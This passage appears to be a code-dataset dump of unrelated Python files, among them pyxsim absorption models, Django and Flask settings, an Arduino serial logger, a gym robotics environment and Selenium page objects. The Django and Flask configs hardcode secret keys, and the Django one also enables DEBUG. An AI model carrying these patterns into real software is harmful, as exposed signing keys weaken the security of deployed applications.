absorb\n self.cleanup_spectrum()\n return detected\n\nclass XSpecAbsorbModel(AbsorptionModel):\n r\"\"\"\n Initialize an absorption model from PyXspec.\n\n Parameters\n ----------\n model_name : string\n The name of the absorption model.\n nH : float\n The foreground column density *nH* in units of 10^22 cm^{-2}.\n emin : float, optional\n The minimum energy for the spectral model.\n emax : float, optional\n The maximum energy for the spectral model.\n nchan : integer, optional\n The number of channels in the spectral model.\n settings : dictionary, optional\n A dictionary of key, value pairs (must both be strings)\n that can be used to set various options in XSPEC.\n\n Examples\n --------\n >>> abs_model = XSpecAbsorbModel(\"wabs\", 0.1)\n \"\"\"\n def __init__(self, model_name, nH, emin=0.01, emax=50.0,\n nchan=100000, settings=None):\n mylog.warning(\"XSpecAbsorbModel is deprecated and will be removed \"\n \"in a future release. Use of the other models is \"\n \"suggested.\")\n self.model_name = model_name\n self.nH = YTQuantity(nH*1.0e22, \"cm**-2\")\n if settings is None: settings = {}\n self.settings = settings\n self.emin = emin\n self.emax = emax\n self.nchan = nchan\n ebins = np.linspace(emin, emax, nchan+1)\n self.emid = YTArray(0.5*(ebins[1:]+ebins[:-1]), \"keV\")\n\n def prepare_spectrum(self):\n \"\"\"\n Prepare the absorption model for execution.\n \"\"\"\n import xspec\n xspec.Xset.chatter = 0\n xspec.AllModels.setEnergies(\"%f %f %d lin\" %\n (self.emin, self.emax, self.nchan))\n self.model = xspec.Model(self.model_name+\"*powerlaw\")\n self.model.powerlaw.norm = self.nchan/(self.emax-self.emin)\n self.model.powerlaw.PhoIndex = 0.0\n for k,v in self.settings.items():\n xspec.Xset.addModelString(k,v)\n m = getattr(self.model, self.model_name)\n m.nH = 1.0\n self.sigma = YTArray(-np.log(self.model.values(0))*1.0e-22, \"cm**2\")\n\n def cleanup_spectrum(self):\n del self.model\n\n\nclass TableAbsorbModel(AbsorptionModel):\n r\"\"\"\n Initialize an absorption model from a table stored in an HDF5 file.\n\n Parameters\n ----------\n filename : string\n The name of the table file.\n nH : float\n The foreground column density *nH* in units of 10^22 cm^{-2}.\n\n Examples\n --------\n >>> abs_model = TableAbsorbModel(\"tbabs_table.h5\", 0.1)\n \"\"\"\n def __init__(self, filename, nH):\n self.filename = check_file_location(filename, \"spectral_files\")\n f = h5py.File(self.filename,\"r\")\n emid = YTArray(0.5*(f[\"energy\"][1:]+f[\"energy\"][:-1]), \"keV\")\n sigma = YTArray(f[\"cross_section\"][:], \"cm**2\")\n f.close()\n super(TableAbsorbModel, self).__init__(nH, emid, sigma)\n\nclass TBabsModel(TableAbsorbModel):\n r\"\"\"\n Initialize a Tuebingen-Boulder (Wilms, J., Allen, A., & \n McCray, R. 2000, ApJ, 542, 914) ISM absorption model.\n\n Parameters\n ----------\n nH : float\n The foreground column density *nH* in units of 10^22 cm^{-2}.\n\n Examples\n --------\n >>> tbabs_model = TBabsModel(0.1)\n \"\"\"\n def __init__(self, nH):\n super(TBabsModel, self).__init__(\"tbabs_table.h5\", nH)\n\n\nemx = np.array([0.0, 0.1, 0.284, 0.4, 0.532, 0.707, 0.867,\n 1.303, 1.840, 2.471, 3.210, 4.038, 7.111, 8.331, 10.0])\nc0 = np.array([17.3, 34.6, 78.1, 71.4, 95.5, 308.9, 120.6, 141.3,\n 202.7,342.7,352.2,433.9,629.0,701.2])\nc1 = np.array([608.1, 267.9, 18.8, 66.8, 145.8, -380.6, 169.3,\n 146.8, 104.7, 18.7, 18.7, -2.4, 30.9, 25.2])\nc2 = np.array([-2150., -476.1 ,4.3, -51.4, -61.1, 294.0, -47.7,\n -31.5, -17.0, 0.0, 0.0, 0.75, 0.0, 0.0])\n\nclass WabsModel(AbsorptionModel):\n r\"\"\"\n Initialize a Wisconsin (Morrison and McCammon; ApJ 270, 119) \n absorption model.\n\n Parameters\n ----------\n nH : float\n The foreground column density *nH* in units of 10^22 cm^{-2}.\n\n Examples\n --------\n >>> wabs_model = WabsModel(0.1)\n \"\"\"\n def __init__(self, nH):\n self.nH = YTQuantity(nH*1.0e22, \"cm**-2\")\n\n def get_absorb(self, e):\n e = np.array(e)\n idxs = np.minimum(np.searchsorted(emx, e)-1, 13)\n sigma = (c0[idxs]+c1[idxs]*e+c2[idxs]*e*e)*1.0e-24/e**3\n return np.exp(-sigma*self.nH)\n","sub_path":"pyxsim/spectral_models.py","file_name":"spectral_models.py","file_ext":"py","file_size_in_byte":18896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"235994908","text":"\"\"\"\nDjango settings for rpg_tools project.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/1.6/topics/settings/\n\nFor the full list of settings and their values, see\nhttps://docs.djangoproject.com/en/1.6/ref/settings/\n\"\"\"\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nimport os\nBASE_DIR = os.path.dirname(os.path.dirname(__file__))\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/1.6/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = '0ubtw2pu=gplf#6zbi^$q^!c%^w(g!gu(4(ri0148fz(8h@g&m'\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = True\n\nTEMPLATE_DEBUG = True\n\nALLOWED_HOSTS = []\n\nINTERNAL_IPS = ['192.168.178.68', '127.0.0.1', 'laptop-dazer', ]\n\n# RPG Tools setting\nimport django.db.models.options as options\noptions.DEFAULT_NAMES = options.DEFAULT_NAMES + ('counted_fields', )\n\nRPG_TOOLS_OPTIONS = {}\nLOGIN_URL = '/login'\nLOGIN_REDIRECT_URL = '/'\n\n# Application definition\nINSTALLED_APPS = (\n 'suit',\n 'suit_redactor',\n\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n\n 'south',\n # required 3rd party apps\n 'easy_select2',\n 'widget_tweaks',\n\n # game apps\n 'core',\n 'arcane_codex',\n)\n\nif DEBUG:\n INSTALLED_APPS += (\n 'debug_toolbar',\n )\n\nSELECT2_USE_BUNDLED_JQUERY = False\n\n# Suit Menu\n# do this after application inclusion, so they cann contribute to the menu\n# from django.utils.translation import ugettext_lazy as _\nSUIT_CONFIG = {\n 'ADMIN_NAME': 'RPG Tools',\n# 'MENU': (\n#\n# {'app': 'auth', 'label': _('Benutzerdaten'), 'icon': 'icon-lock'},\n# )\n}\n\nMIDDLEWARE_CLASSES = (\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n\n 'debug_toolbar.middleware.DebugToolbarMiddleware',\n)\n\nfrom django.conf.global_settings import TEMPLATE_CONTEXT_PROCESSORS as TCP\nTEMPLATE_CONTEXT_PROCESSORS = TCP + (\n 'django.core.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n)\n\nROOT_URLCONF = 'rpg_tools.urls'\n\nWSGI_APPLICATION = 'rpg_tools.wsgi.application'\n\n\n# Database\n# https://docs.djangoproject.com/en/1.6/ref/settings/#databases\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),\n }\n}\n\n# Internationalization\n# https://docs.djangoproject.com/en/1.6/topics/i18n/\n\nLANGUAGE_CODE = 'de-de'\n\nTIME_ZONE = 'UTC'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/1.6/howto/static-files/\n# print(\"BASE_DIR:\", BASE_DIR)\nMEDIA_ROOT = os.path.join(BASE_DIR, 'media')\nMEDIA_URL = 'http://laptop-dazer:3000/media/'\n# STATIC_URL = '/static/'\nif not DEBUG:\n STATIC_ROOT = 'D:/Projects/rpg_tools/frontend/static/'\n STATIC_URL = 'http://laptop-dazer:3000/static/'\nelse:\n STATIC_URL = '/static/'\nDEBUG_TOOLBAR_CONFIG = {\n 'JQUERY_URL': '',\n 'INSERT_BEFORE': '<!-- djdt -->',\n}","sub_path":"backend/rpg_tools/rpg_tools/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":3452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"297619787","text":"import serial\nimport json\nimport time\nimport csv\n\n\narduino = serial.Serial(port='COM4', baudrate=1000000, timeout=.04) # change to the USB port of the plugged in demonstrator\ntime.sleep(3) # wait for connection with Arduino\n\ndef readFeedback():\n data = arduino.readline()\n return data\n\n\ndef processing_loop(csvfile):\n isDrawing = True\n HEADER = [\"asset\", \"smartServo1Angle\", \"smartServo1Temp\", \"smartServo1Current\", \"smartServo1Voltage\",\n \"smartServo2Angle\", \"smartServo2Temp\", \"smartServo2Current\", \"smartServo2Voltage\",\n \"smartServo3Angle\", \"smartServo3Temp\", \"smartServo3Current\", \"smartServo3Voltage\" , \"time\", \"cycle\", \"isDrawing\"]\n csv_writer = csv.writer(csvfile)\n csv_writer.writerow(HEADER)\n\n \n while True:\n try:\n feedbackString = readFeedback()\n # Debugging message\n if feedbackString:\n feedbackJson = json.loads(feedbackString)\n csv_writer.writerow([\"JA_Demonstrator_1\",\n feedbackJson[\"1A\"], feedbackJson[\"1T\"], feedbackJson[\"1C\"], feedbackJson[\"1V\"],\n feedbackJson[\"2A\"], feedbackJson[\"2T\"], feedbackJson[\"2C\"], feedbackJson[\"2V\"],\n feedbackJson[\"3A\"], feedbackJson[\"3T\"], feedbackJson[\"3C\"], feedbackJson[\"3V\"], feedbackJson[\"t\"] ,feedbackJson[\"c\"], isDrawing])\n\n except KeyboardInterrupt:\n if isDrawing:\n isDrawing = False\n print(\"Pencil not drawing anymore \\n\")\n continue\n else :\n break\n\n\nvalue = input(\"Enter s to start:\\n\") # wait for the user to trigger the data collection process\nif value == \"s\":\n arduino.write(bytes('1'+'\\n', 'utf-8')) # send Arduino command to start\n time.sleep(0.05) \nwith open('ThingworxAnalyticsTimeSeriesDataset.csv', 'w', newline='') as csvfile: # change the name of the output csv file here\n processing_loop(csvfile)\n\n \n \n \n","sub_path":"guides/ThingworxAnalyticsTimeSeriesPrediction/scripts/time_series_log.py","file_name":"time_series_log.py","file_ext":"py","file_size_in_byte":1955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"496436822","text":"\n\n\n\"\"\"\n\n\nUpdate a row in in a Matrix\nTo update the values in the row of a matrix we simply re-assign the values at the index of the row.\n In the below example all the values for thrursday's data is marked as zero. The index for this row is 3.\n\n\n\"\"\"\n\n\nfrom numpy import * \nm = array([['Mon',18,20,22,17],['Tue',11,18,21,18],\n\t\t ['Wed',15,21,20,19],['Thu',11,20,22,21],\n\t\t ['Fri',18,17,23,22],['Sat',12,22,20,18],\n\t\t ['Sun',13,15,19,16]])\n \nm[3] = ['Thu',0,0,0,0]\n\nprint(m)\n\n\n\"\"\"\n\nWhen the above code is executed, it produces the following result −\n\n[['Mon' '18' '20' '22' '17']\n ['Tue' '11' '18' '21' '18']\n ['Wed' '15' '21' '20' '19']\n ['Thu' '0' '0' '0' '0']\n ['Fri' '18' '17' '23' '22']\n ['Sat' '12' '22' '20' '18']\n ['Sun' '13' '15' '19' '16']]\n\n\n\n\"\"\"\n","sub_path":"Python3_Data_Structure/07_Matrix/07_Update_A_row_matrix.py","file_name":"07_Update_A_row_matrix.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"80751314","text":"\nwith open('./input2') as f:\n data = f.read()\n\nfrom parse import *\n\ndata = data.split(\"\\n\\n\")\ntiles = [tile.split(\":\\n\") for tile in data]\ntiles = [[parse('Tile {:d}', tile[0])[0], tile[1].split(\"\\n\")] for tile in tiles]\ntiles[len(tiles)-1][1] = tiles[len(tiles)-1][1][:-1]\n\ntiles_dict = dict()\nfor tile in tiles:\n tiles_dict[tile[0]] = tile[1]\n\n\n# initial, flipped-horizontal, flipped-vertical, rotated, \nfrom math import sqrt\n\ndim = int(sqrt(len(tiles)))\n\nids = [[-1 for i in range(dim)] for j in range(dim)]\n\ndef get_mutations(tile):\n mutations = []\n mutations.append(tile[1])\n flipped_h = tile[1][::-1]\n flipped_v = [tile[1][i][::-1] for i in range(len(tile[1]))]\n r1 = flipped_v[::-1]\n r2 = rotate_right(tile)\n r3 = rotate_left(tile)\n mutations.append(flipped_v)\n mutations.append(flipped_h)\n mutations.append(r1)\n mutations.append(r2)\n mutations.append(r3)\n return mutations\n\ndef rotate_right(tile):\n rotated = [\"\".join([tile[1][i][len(tile[1])-j-1] for i in range(len(tile[1]))]) for j in range(len(tile[1]))]\n return rotated\n\ndef rotate_left(tile):\n return [\"\".join([tile[1][len(tile[1])-i-1][j] for i in range(len(tile[1]))]) for j in range(len(tile[1]))]\ndef get_edges(tile):\n top = tile[1][0]\n bottom = tile[1][len(tile[1])-1]\n right = \"\".join([tile[1][i][len(tile[1])-1] for i in range(len(tile[1]))])\n left = \"\".join([tile[1][i][0] for i in range(len(tile[1]))])\n return [top, bottom, left, right]\n\nmatches = dict()\nfor tile in tiles:\n edges = get_edges(tile)\n matches[tile[0]] = []\n for other_tile in tiles:\n if tile[0] == other_tile[0]:\n continue\n\n other_edges = get_edges(other_tile)\n\n match = []\n\n for edge in edges:\n if edge in other_edges:\n idx = edges.index(edge)\n other_idx = other_edges.index(edge)\n match = [idx, other_tile[0], other_idx, False]\n elif edge[::-1] in other_edges:\n idx = edges.index(edge)\n other_idx = other_edges.index(edge[::-1])\n match = [idx, other_tile[0], other_idx, True]\n\n if len(match) > 0:\n matches[tile[0]].append(match)\n\nsquares = [['-' for i in range(dim)] for j in range(dim)]\nprint(squares)\n\ndef calculate_grid(k, m):\n s = [['-' for i in range(dim)] for j in range(dim)]\n start = m[k]\n #s[0][0] = (k, False, False, False, False, False)\n horizontal = False\n vertical = False\n flipped_h = False\n flipped_v = False\n next_v = []\n next_h = []\n for v in m[k]:\n if v[0] < 2:\n if v[0] == 0:\n horizontal = True\n flipped_h = v[3]\n next_h = v\n else:\n if v[0] == 3:\n vertical = True\n flipped_v = v[3]\n next_v = v\n # Calculate next pos\n #print(f\"Next right square to {k}: {next_v}, will be flipped: {horizontal or flipped_v}\")\n print(f\"Next bottom square to {k}: {next_h}, will be flipped: {vertical or flipped_h}\")\n\n\n\nfor k, v in matches.items():\n if len(v) == 2:\n calculate_grid(k, matches)\n\n\n\n\n\n","sub_path":"Day20/sol2.py","file_name":"sol2.py","file_ext":"py","file_size_in_byte":3144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"23537449","text":"\nfrom apistar.backends import SQLAlchemy\nfrom .models import Poll, Choice\n\ndef welcome(name=None):\n if name is None:\n return {'message': 'Welcome to API Star!'}\n return {'message': 'Welcome to API Star, %s!' % name}\n\ndef students():\n aStudentT = {'id': '59011604', 'firstname': 'phison', 'lastname': 'khankhang'}\n aStudent = [{'id': '59011597', 'firstname': 'Chatchanok', 'lastname': 'Wongsamang'},\n{'id': '59011598', 'firstname': 'Jiramate', 'lastname': 'Leingprom'},\n{'id': '59011599', 'firstname': 'Jirayu', 'lastname': 'Promsongwong'},\n{'id': '59011600', 'firstname': 'Kitpol', 'lastname': 'Tansakul'},\n{'id': '59011601', 'firstname': 'Nattamon', 'lastname': 'Sridam'},\n{'id': '59011602', 'firstname': 'Peeranat', 'lastname': 'Limpitaporn'},\n{'id': '59011604', 'firstname': 'Phison', 'lastname': 'Khankang'},\n{'id': '59011605', 'firstname': 'Thirawat', 'lastname': 'Rungrotchaiyaporn'}]\n return aStudent\n\nallStudent = students()\ndef students_get(aindex):\n for i in allStudent:\n if aindex == i['id']:\n print('yeah')\n return i\n break\n\ndef create_poll(db: SQLAlchemy, question: str):\n session = db.session_class()\n poll = Poll(question=question)\n session.add(poll)\n session.commit()\n return {'question': question}\n\n\ndef create_choices(db: SQLAlchemy, poll_id: int, choice_text: str):\n session = db.session_class()\n poll = session.query(Poll).get(poll_id)\n choice = Choice(poll=poll.id, choice_text=choice_text, votes=0)\n session.add(choice)\n session.commit()\n return {'choice_text': choice_text}\n","sub_path":"Lab3/apistar_demo/project/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"319863075","text":"# gym related imports\nimport gym\nfrom gym.spaces import Box\nfrom gym import error, spaces, utils\nfrom gym.utils import seeding\n\n# kinematics related imports\nfrom inverse_kinematics_gymified.envs.forw_kinm import *\nfrom inverse_kinematics_gymified.envs.inv_kinm import *\nfrom inverse_kinematics_gymified.envs.follow_curve import *\nfrom inverse_kinematics_gymified.envs.utils import *\nfrom inverse_kinematics_gymified.envs.drawing import *\n\n# general imports\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport mpl_toolkits.mplot3d.axes3d as p3\n\n\n\"\"\"\nIMPORTANT: MAKE EVERYTHING FLOAT32 because you don't need more\nand that will be much faster\nlist of methods which need to be implemented:\n\n\n\nlist of variables which need to exist and be correct:\n 1. observation_space \n 2. action_space\n here you set the number of joints and their limit, ex.:\n deepworlds panda does:\n self.observation_space = Box(low=np.array([-np.inf, -np.inf, -np.inf, -2.8972, -1.7628, -2.8972, -3.0718, -2.8972, -0.0175, -2.8972]),\n high=np.array([np.inf, np.inf, np.inf, 2.8972, 1.7628, 2.8972, -0.0698, 2.8972, 3.7525, 2.8972]), dtype=np.float64)\n self.action_space = Box(low=np.array([-1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0]), high=np.array([1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0]), dtype=np.float64)\n\n\n\n\"\"\"\n\nclass InverseKinematicsWithManipRewardsNoJointObservationsEnv(gym.Env):\n metadata = {'render.modes': ['human']}\n\n# set damping (i.e. dt i.e. precision let's be real)\n def __init__(self, model_path=None, initial_qpos=None, n_actions=None, n_substeps=None ):\n print('env created')\n # TODO write a convenience dh_parameter loading function\n self.robot = Robot_raw(robot_name=\"no_sim\")\n self.damping = 5\n self.error_vec = None\n # number of timesteps allowed\n self.max_tries = 300\n # maximum number of episodes --> TODO change to appripriate amount\n self.total_number_of_points = 150\n # keep track of number of episodes completed\n self.n_of_points_done = 0\n # keep track of the timesteps (to be reset after every episode)\n self.n_of_tries_for_point = 0\n\n # TODO init goal\n self.goal = np.random.random(3) * 0.7\n # needed for easy initialization of the observation space\n obs = self._get_obs()\n\n # select an inteligent place for the file\n # idk what this relative path does\n # also make sure to not override stuff\n# self.measurements_file = open(\"./data/measurementsXYZ\", \"w\")\n\n #observation_space_low = np.array([-np.inf] * (3 + self.robot.ndof), dtype=np.float32)\n #observation_space_high = np.array([np.inf] * (3 + self.robot.ndof), dtype=np.float32)\n observation_space_low = np.array([-np.inf] * 3 , dtype=np.float32)\n observation_space_high = np.array([np.inf] * 3 , dtype=np.float32)\n\n# self.observation_space = Box(low=observation_space_low, \\\n# high=observation_space_high, dtype=np.float64)\n self.observation_space = spaces.Dict(dict( \n desired_goal=spaces.Box(-np.inf, np.inf, \n shape=obs['achieved_goal'].shape, dtype='float32'), \n achieved_goal=spaces.Box(-np.inf, np.inf, \n shape=obs['achieved_goal'].shape, dtype='float32'),\n observation=spaces.Box(low=observation_space_low, \\\n high=observation_space_high, \n shape=obs['observation'].shape,\n dtype='float32'),\n ))\n\n self.action_space = Box(low=np.array([-1.0] * self.robot.ndof, dtype=np.float32), \\\n high=np.array([1.0] * self.robot.ndof, dtype=np.float32), dtype=np.float32)\n\n # TODO enable setting the other one with greater ease\n self.reward_type = 'dense'\n self.episode_score = 0\n self.drawingInited = False\n\n\n def compute_reward(self, achieved_goal, goal, info):\n # Compute distance between goal and the achieved goal.\n if self.reward_type == 'sparse':\n if error_test(self.robot.p_e, self.goal):\n return np.float32(-1.0)\n else:\n return np.float32(1.0)\n if self.reward_type == 'dense':\n distance = goal_distance(achieved_goal, goal)\n\n smallest_ellipsoid_eigenvalue = calculateSmallestManipEigenval(self.robot)\n manipulability_index = calculateManipulabilityIndex(self.robot)\n # idk if this is the right way to combine it but let's try\n reward = -1 * distance + manipulability_index + smallest_ellipsoid_eigenvalue\n # add a lil extra if it's close\n if distance < 0.01:\n reward = reward + 1.5\n elif distance < 0.015:\n reward = reward + 1.0\n elif distance < 0.03:\n reward = reward + 0.5\n\n return reward\n \n\n\n def step(self, action):\n action = np.clip(action, self.action_space.low, self.action_space.high)\n self.robot.forwardKinmViaPositions(action / self.damping)\n self.n_of_tries_for_point += 1\n obs = self._get_obs()\n\n done = False\n if error_test(self.robot.p_e, self.goal):\n info = {\n 'is_success': np.float32(1.0),\n }\n else:\n info = {\n 'is_success': np.float32(0.0),\n }\n reward = self.compute_reward(obs['achieved_goal'], self.goal, info)\n self.episode_score += reward\n return obs, reward, done, info\n\n\n\n\n def reset(self):\n self.episode_score = 0\n self.n_of_points_done += 1\n self.n_of_tries_for_point = 0\n\n # generate new point\n self.goal = np.array([random.uniform(-0.70, 0.70), random.uniform(-0.70, 0.70), random.uniform(-0.70, 0.70)])\n \n # initialize to a random starting state and check whether it makes any sense\n sensibility_check = False\n i = 0\n while not sensibility_check:\n i+=1\n thetas = []\n for joint in self.robot.joints:\n thetas.append(6.28 * np.random.random() - 3.14)\n self.robot.forwardKinmViaPositions(thetas)\n if calculateManipulabilityIndex(self.robot) > 0.15:\n sensibility_check = True\n\n obs = self._get_obs()\n return obs\n\n\n def reset_test(self):\n self.episode_score = 0\n self.n_of_points_done += 1\n self.n_of_tries_for_point = 0\n\n # generate new point\n self.goal = np.array([random.uniform(-0.70, 0.70), random.uniform(-0.70, 0.70), random.uniform(-0.70, 0.70)])\n \n # DO NOT initialize to a random starting state, keep the previous one\n\n obs = self._get_obs()\n return obs\n\n\n\n def close(self):\n # close open files if any are there\n pass\n\n\n # various uitility functions COPIED from fetch_env\n\n def seed(self, seed=None):\n self.np_random, seed = seeding.np_random(seed)\n return [seed]\n\n\n\n\n def _get_obs(self):\n #thetas = []\n #for joint in self.robot.joints:\n # thetas.append(joint.theta)\n #thetas = np.array(thetas , dtype=np.float32)\n obs = self.robot.p_e.copy()\n #obs = np.append(obs, thetas)\n\n return {\n 'observation': obs,\n 'achieved_goal': self.robot.p_e.copy(),\n 'desired_goal': self.goal.copy(),\n }\n\n\n\n def render(self, mode='human', width=500, height=500):\n try:\n self.drawingInited == False\n except AttributeError:\n self.drawingInited = False\n\n if self.drawingInited == False:\n plt.ion()\n self.fig = plt.figure()\n #self.ax = self.fig.add_subplot(111, projection='3d')\n self.ax = self.fig.add_subplot(111, projection='3d')\n # these are for axes scaling which does not happen automatically\n self.ax.plot(np.array([0]), np.array([0]), np.array([1.5]), c='b')\n self.ax.plot(np.array([0]), np.array([0]), np.array([-1.5]), c='b')\n plt.xlim([-1.5,1.5])\n plt.ylim([-0.5,1.5])\n color_link = 'black'\n self.robot.initDrawing(self.ax, color_link)\n self.drawingInited = True\n self.robot.drawStateAnim()\n self.ax.set_title(str(self.n_of_tries_for_point) + 'th iteration toward goal')\n drawPoint(self.ax, self.goal, 'red')\n self.fig.canvas.draw()\n self.fig.canvas.flush_events()\n\n #return super(FetchEnv, self).render(mode, width, height)\n","sub_path":"inverse_kinematics_gymified/inverse_kinematics_gymified/envs/InverseKinematicsWithManipRewardsNoJointObservations.py","file_name":"InverseKinematicsWithManipRewardsNoJointObservations.py","file_ext":"py","file_size_in_byte":8781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"559941745","text":"\n# -*- encoding: utf-8 -*-\n\"\"\"\nCreated on 2016-12-09 上午10:48\n\n@project: pushSystem\n@author: JieGuo\n\"\"\"\n\n__author__ = 'JieGuo'\n\n\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_apscheduler import APScheduler\nimport logging\n\n\nclass Config(object): \n JOBS = [ \n { \n 'id' : 'pushQueue', \n 'func' : 'tticarPushSystem:getPushList', \n 'args' : '', \n 'trigger' : 'interval', \n 'seconds' : 10 \n } \n ]\n \n SCHEDULER_API_ENABLED = True\n\ndef initAppConfig(app):\n app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database/push_queue.db'\n app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True\n app.config['SQLALCHEMY_ECHO'] = True\n app.config['SECRET_KEY'] = '\\xfb\\x12\\xdf\\xa1@i\\xd6>V\\xc0\\xbb\\x8fp\\x16#Z\\x0b\\x81\\xeb\\x16'\n app.config['STEP_CHECK_PUSH'] = 3\n db = SQLAlchemy(app)\n return db\n\ndef initLogging(app):\n handler = logging.FileHandler(\"mylog\", encoding='UTF-8')\n app.logger.addHandler(handler)\n\n\ndef initSchedule(app):\n scheduler = APScheduler()\n app.config.from_object(Config())\n scheduler.init_app(app)\n return scheduler","sub_path":"config/db_config.py","file_name":"db_config.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"378686643","text":"import FWCore.ParameterSet.Config as cms\n\nsrc1 = cms.ESSource(\"PoolDBESSource\",\n loadAll = cms.bool(True),\n toGet = cms.VPSet(cms.PSet(\n record = cms.string('EcalTBWeightsRcd'),\n tag = cms.string('EcalTBWeightsSM')\n ), \n cms.PSet(\n record = cms.string('EcalWeightXtalGroupsRcd'),\n tag = cms.string('EcalWeightXtalGroupsSM')\n )),\n messagelevel = cms.untracked.uint32(1),\n catalog = cms.untracked.string('file:/afs/cern.ch/cms/ECAL/testbeam/pedestal/2006/WEIGHTS/PoolFileCatalog_Default.xml'),\n timetype = cms.string('runnumber'),\n connect = cms.string('sqlite_file:/afs/cern.ch/cms/ECAL/testbeam/pedestal/2006/WEIGHTS/ecalwgt_Default.db'),\n authenticationMethod = cms.untracked.uint32(0)\n)\n\nsrc2 = cms.ESSource(\"EcalTrivialConditionRetriever\",\n # Values to get correct noise on RecHit amplitude using 3+5 weights\n EBpedRMSX12 = cms.untracked.double(1.26),\n weightsForTB = cms.untracked.bool(False),\n producedEcalPedestals = cms.untracked.bool(True),\n # If set true reading optimized weights (3+5 weights) from file \n getWeightsFromFile = cms.untracked.bool(False),\n producedEcalWeights = cms.untracked.bool(False),\n EEpedRMSX12 = cms.untracked.double(2.87),\n producedEcalIntercalibConstants = cms.untracked.bool(True),\n producedEcalGainRatios = cms.untracked.bool(True),\n producedEcalADCToGeVConstant = cms.untracked.bool(True)\n)\n\ngetCond = cms.EDAnalyzer(\"EventSetupRecordDataGetter\",\n toGet = cms.VPSet(cms.PSet(\n record = cms.string('EcalTBWeightsRcd'),\n data = cms.vstring('EcalTBWeights')\n ), \n cms.PSet(\n record = cms.string('EcalWeightXtalGroupsRcd'),\n data = cms.vstring('EcalWeightXtalGroups')\n )),\n verbose = cms.untracked.bool(True)\n)\n\n\n","sub_path":"Configuration/EcalTB/python/readConfiguration2006_v0_cff.py","file_name":"readConfiguration2006_v0_cff.py","file_ext":"py","file_size_in_byte":1825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"534554189","text":"# Copyright (C) 2015 Google Inc., authors, and contributors <see AUTHORS file>\n# Licensed under http://www.apache.org/licenses/LICENSE-2.0 <see LICENSE file>\n# Created By: jernej@reciprocitylabs.com\n# Maintained By: jernej@reciprocitylabs.com\n\nfrom lib import base\nfrom lib import environment\nfrom lib.constants import url\nfrom lib.constants import locator\n\n\nclass _Dropdown(base.Component):\n def __init__(self, driver, locator_button_add):\n super(_Dropdown, self).__init__(driver)\n self.button_add = base.Button(driver, locator_button_add)\n\n def add_new_custom_attribute(self):\n \"\"\"\n Returns:\n new_custom_attribute.NewCustomAttributeModal\n \"\"\"\n self.button_add.click_when_moving_over()\n return NewCustomAttributeModal(self._driver)\n\n\nclass NewCustomAttributeModal(base.Modal):\n _locator = locator.ModalCustomAttribute\n\n def __init__(self, driver):\n super(NewCustomAttributeModal, self).__init__(driver)\n self.attribute_title = base.Label(\n self._driver, self._locator.ATTRIBUTE_TITLE)\n self.inline_help = base.Label(self._driver, self._locator.INLINE_HELP)\n self.attribute_type = base.Label(\n self._driver, self._locator.ATTRIBUTE_TYPE)\n self.placeholder = base.Label(self._driver, self._locator.PLACEHOLDER)\n self.mandatory = base.Label(self._driver, self._locator.MANDATORY)\n self.ui_attribute_title = base.TextInputField(\n self._driver, self._locator.UI_ATTRIBUTE_TITLE)\n self.ui_inline_help = base.TextInputField(\n self._driver, self._locator.UI_INLINE_HELP)\n self.ui_placeholder = base.TextInputField(\n self._driver, self._locator.UI_PLACEHOLDER)\n self.checkbox_mandatory = base.Checkbox(\n self._driver, self._locator.CHECKBOX_MANDATORY)\n self.button_submit = base.Button(\n self._driver, self._locator.BUTTON_SAVE)\n self.button_add_more = base.Button(\n self._driver, self._locator.BUTTON_ADD_ANOTHER)\n\n def enter_title(self, title):\n self.ui_attribute_title.enter_text(title)\n\n def enter_inline_help(self, inline_help):\n self.ui_inline_help.enter_text(inline_help)\n\n def enter_placeholder(self, placeholder):\n self.ui_placeholder.enter_text(placeholder)\n\n def check_is_mandatory(self):\n self.checkbox_mandatory.click()\n\n def save_and_close(self):\n \"\"\"\n Returns:\n custom_attribute.AdminCustomAttributes\n \"\"\"\n self.button_submit.click()\n return AdminCustomAttributes(self._driver)\n\n def save_and_add_another(self):\n 